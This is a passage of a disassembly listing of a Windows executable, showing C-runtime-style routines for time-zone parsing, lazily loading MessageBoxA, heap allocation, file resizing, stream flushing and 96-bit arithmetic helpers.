		dd 4DB4A035h, 28E89000h, 0C3021CC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25F09E1h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28A0875h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25F0997h
		nop
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		nop
		call	near ptr 2860000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690AB1h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		call	near ptr 27B0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	near ptr 25F0000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		call	near ptr 2670859h
		nop
		mov	dword_4DB27C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



